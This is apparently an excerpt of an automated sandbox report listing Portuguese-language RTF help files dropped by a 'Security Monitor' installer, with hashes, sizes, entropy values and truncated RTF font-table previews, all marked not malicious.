C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-84AOI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38831
Entropy (8bit):	5.022754170432963
Encrypted:	false
SSDEEP:	768:wMF2weYJK4J7bIWIRV9OOVQjwQ49PomsZ/HuJct9:wM3wJF4Zko9
MD5:	01A4A15CD5BE8B0E0E0B34200D995311
SHA1:	D30F6F8219B9B3E91F9D1D0C5283F94A6CF0F124
SHA-256:	D8A325D699C34E761833F16416EEBAAB43AA66454D08B7ECC40B4E5B89C1DF80
SHA-512:	7C968B597067F2E0D0645219A96284C9868298F184FBB479CE214E7F997C353817F079C40D8BC7F79AAAAC42AAF216D33ACEC6407F1B24E60DBA4876426A734F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-BL5AI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47415
Entropy (8bit):	5.015734147683168
Encrypted:	false
SSDEEP:	768:jnTmY+EN4mXbIWIRV9sK8qoZzNqZiuJo8cDovLQoAn3Brxw2mB+c37DWZlIpIkpU:jnciZhNkfY
MD5:	A7A6E83C7BF0C9446D815E04CB208372
SHA1:	793D0F666A6E771A4864B169BBE282F943D5D043
SHA-256:	B5323857EF076CBEBD3B870F4C8EB5C58B968ED51ACB6821C0A93C2FFE53A1AB
SHA-512:	A5B09DD7D7C362B1807F6B9216318AA3598943688EFA39D4E15DB49DCE7743C9DC2574DC182BFCCFBB3501A7A1273A073FC97F8BC714084806B16DC8F43B49F5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-DSGC3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61874
Entropy (8bit):	5.01308589618829
Encrypted:	false
SSDEEP:	768:qOF2whYDh4GQgJAqxAUZ8ipwQduXyufTM3wEmgIqvNNb+S/5lqmhIFBjMpVWH3WA:qOQxqiBXZko0
MD5:	149EB3F389063EE27E719BA447DAD74E
SHA1:	1A4BF26BB1082D14EFDE795E2EC0E2357F0A3E74
SHA-256:	61576A27746879AC99F0F0A588FA18BD49A62908A3EF1CBD0446F3F3D18CD0FD
SHA-512:	F72E59E3935176D0D8E659F64FB344EBAE43928C7F53633160E8D7F34F2EAA0C9C738EE0DC87F14E1C35D822BB0B3247C3F427FF657F97C0E73463C116D29799
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-IRN29.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68811
Entropy (8bit):	5.0062740217102695
Encrypted:	false
SSDEEP:	768:qMF2weRlqEW0TgegJ9Vte5iMSf3TDcbIWIRV9hMJu8WjbvH/o2ZuTCHF3wZxyiQg:qMChO5Nkf5
MD5:	9904281F0A850031B5DC777E69ACE68A
SHA1:	1B630CE1A72C6F2A1CB9C8B7A1FC81C2FD2ED3F0
SHA-256:	5888B749E1FC255BF39896EABE4B24B461BB4904549B1050AE8AE72296B72F11
SHA-512:	22C5E7E021B2428225E1595EBF628C83A97BCB76F7D52DD330F72F232E42B9BDAFCDB92A3B858909399700AC1A6FAED2A5A5138B1D66258937698D1684701905
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-J0DP4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43011
Entropy (8bit):	5.033750943906381
Encrypted:	false
SSDEEP:	768:jaOfIRll4ugJAqxAUZm25iMSf3Tv5itocjSzFkkqYrMOFAPZ/HuJctS:japiZkoS
MD5:	F7FE0658461246679F5FD2A30AF4F9AE
SHA1:	878199CEF5C2AB4748658880B8A9302CF754216D
SHA-256:	D65035962FAF4E5AEC76B8EB56E186E14907CD955511B21F2E212CF706F08940
SHA-512:	A9232C63302DCB47FD8A53DEF4A5B6A8BAAC23766F98D8051751B3AB4A12F9F1D12644DE7E5E5AC897506D7C33FA2803E3FDC241457F3F925EEB42CC6384D874
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-KA9DB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44111
Entropy (8bit):	5.034804043043812
Encrypted:	false
SSDEEP:	768:jaOfIRlU4LgJAqxAUZa25iMSf3TaCkqooYidqm4eEHEvsEJ5sCXSIKEjZHHuJfM:jap7NkfM
MD5:	D6C4CE3A479398A0C89448CF3D344268
SHA1:	03399F4D355A631C8504B35AA82238E444D2A75E
SHA-256:	56DA26981FD5603C5BB388D63B900EF90B42234F9FA6EA48BC7650BC609CC187
SHA-512:	838AE1B09A693DE3A21C37087192C58F56D1D318A6265DA290CA1AB449DA85716BDD8B0D32B0D6D37EAADEDD2D8B89F31BC1F8A800A28B058286490A4720E9D0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-KBOVQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38875
Entropy (8bit):	5.023304885435034
Encrypted:	false
SSDEEP:	768:qMF2weYDc4L7bIWIRV9uUwcpanBczRyZHHuJfv:qM3ZxNkfv
MD5:	AA188680DBFDD29FCFD5767CFC4533D9
SHA1:	3CF7AC902EE42B074B4B5ED13E4529FD11A34ADD
SHA-256:	CC3FA96A625899F9221F3E76B6AB9C7B234DC7A4222C914EC9A78A7AA2D64825
SHA-512:	76C22CF016FF8C7C1122E5738FDCF79957D24A4590EAD2FE570CA833D1CF828F8B333CD105B2078AEF2032C503C03BC2536290E5302417D383889045E3B84817
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-KOKD1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46478
Entropy (8bit):	5.035284697457925
Encrypted:	false
SSDEEP:	768:jFTmHRlr4QogJAqxAUZ81f4igFt5hCteYHIGdLN1Ho3SShcYZVVkiikVi/nuAIRD:jFuqNkfh
MD5:	7EA6627CEC93F45827C17C30BFE21F60
SHA1:	BA5C79789734B4CD143BAAE12DECE8C07FD18427
SHA-256:	6FFBE7F2A89F1128FA7A950F7B1797E2B73E70839FB7EB79EE5B906C50CB8665
SHA-512:	D8C7ED9808A9045B0BE3D247C06F81FB5563F86DAAC704EB1D056AF0799716B6FA0470D81698F28EE72C5B937E0825F1CE42A9F354CA4C61173A0E72DFCB79ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-NM0TU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49143
Entropy (8bit):	5.0303602087233
Encrypted:	false
SSDEEP:	768:qOF2w9Rll41gJAqxAUZ2ipwQduXLwzq3PtDxdMNzx9AW94V2sQSuUNKKLz5cZecD:qOhKZkos
MD5:	45FFBE8D6F213774FC03CED4B2C6DE2F
SHA1:	B206C836CD793CB43A90FB7F55F20BCD0E588F45
SHA-256:	D4928483BCC0FF7D15BD5B6B6669B82645EA4EC7C454A1F3BCDAFE0E984466BF
SHA-512:	3153444C8413A6E6F6B4B1D0603E18D282A1B5DCAAC064FEFF2F8D9CF63AF5C7F7DDFBC77F26789384FF0E056741C615158570FD0B65114CE493692516316086
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-Q51A2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41900
Entropy (8bit):	5.016535633453485
Encrypted:	false
SSDEEP:	768:xoOfYRj7jOcPI0QhhiLV6qiTqP7Mi6uxPwjmkoASoGpngl4ZbbsVj72Q/za1CkCI:xobqUncV/QNkf8
MD5:	4610A71940E165CB27249C3133800D76
SHA1:	395941C9ECEE674429A1108075F9DD0A241CF28B
SHA-256:	AAE092EC9F04F37A0059D595A581A9818DB18A4247B95F237E20EED5571BC843
SHA-512:	D297B3B4AEA83E3107A0C799A238C40060BBF7247DEFEF0E179A2F61ADF06442BFC90577C705CAB0D3D2D0D12BD3C86F56C0B5ED971087C47A1973B54853DE32
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-U3SV7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44016
Entropy (8bit):	5.032158423293101
Encrypted:	false
SSDEEP:	768:jaOfIRlR4kgJAqxAUZC25iMSf3TIDgE6/o4WGrHwoKkASAt4Nb4B9SZHHuJf5:japUUNkf5
MD5:	CA0B924C577837EAB433DFACF50B0A2B
SHA1:	5FE70BC33A1A72354EB7CFA7327F993383F5CBF3
SHA-256:	62C5D1371C91B454DDE8DF1DB0D628EE59917A766E42475FD17F6EA1E168837F
SHA-512:	A1A20927E1DD4F3F63D8F9D69C23A4C62920C65972B4967BDE5C6FB49EE375B0FD3BC56F57DDB190C267921779A506C42960AA1E9BD7AF979CF6EBB954AD6925
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43011
Entropy (8bit):	5.033750943906381
Encrypted:	false
SSDEEP:	768:jaOfIRll4ugJAqxAUZm25iMSf3Tv5itocjSzFkkqYrMOFAPZ/HuJctS:japiZkoS
MD5:	F7FE0658461246679F5FD2A30AF4F9AE
SHA1:	878199CEF5C2AB4748658880B8A9302CF754216D
SHA-256:	D65035962FAF4E5AEC76B8EB56E186E14907CD955511B21F2E212CF706F08940
SHA-512:	A9232C63302DCB47FD8A53DEF4A5B6A8BAAC23766F98D8051751B3AB4A12F9F1D12644DE7E5E5AC897506D7C33FA2803E3FDC241457F3F925EEB42CC6384D874
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47415
Entropy (8bit):	5.015734147683168
Encrypted:	false
SSDEEP:	768:jnTmY+EN4mXbIWIRV9sK8qoZzNqZiuJo8cDovLQoAn3Brxw2mB+c37DWZlIpIkpU:jnciZhNkfY
MD5:	A7A6E83C7BF0C9446D815E04CB208372
SHA1:	793D0F666A6E771A4864B169BBE282F943D5D043
SHA-256:	B5323857EF076CBEBD3B870F4C8EB5C58B968ED51ACB6821C0A93C2FFE53A1AB
SHA-512:	A5B09DD7D7C362B1807F6B9216318AA3598943688EFA39D4E15DB49DCE7743C9DC2574DC182BFCCFBB3501A7A1273A073FC97F8BC714084806B16DC8F43B49F5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49143
Entropy (8bit):	5.0303602087233
Encrypted:	false
SSDEEP:	768:qOF2w9Rll41gJAqxAUZ2ipwQduXLwzq3PtDxdMNzx9AW94V2sQSuUNKKLz5cZecD:qOhKZkos
MD5:	45FFBE8D6F213774FC03CED4B2C6DE2F
SHA1:	B206C836CD793CB43A90FB7F55F20BCD0E588F45
SHA-256:	D4928483BCC0FF7D15BD5B6B6669B82645EA4EC7C454A1F3BCDAFE0E984466BF
SHA-512:	3153444C8413A6E6F6B4B1D0603E18D282A1B5DCAAC064FEFF2F8D9CF63AF5C7F7DDFBC77F26789384FF0E056741C615158570FD0B65114CE493692516316086
Malicious:	false
Reputation:	unknown
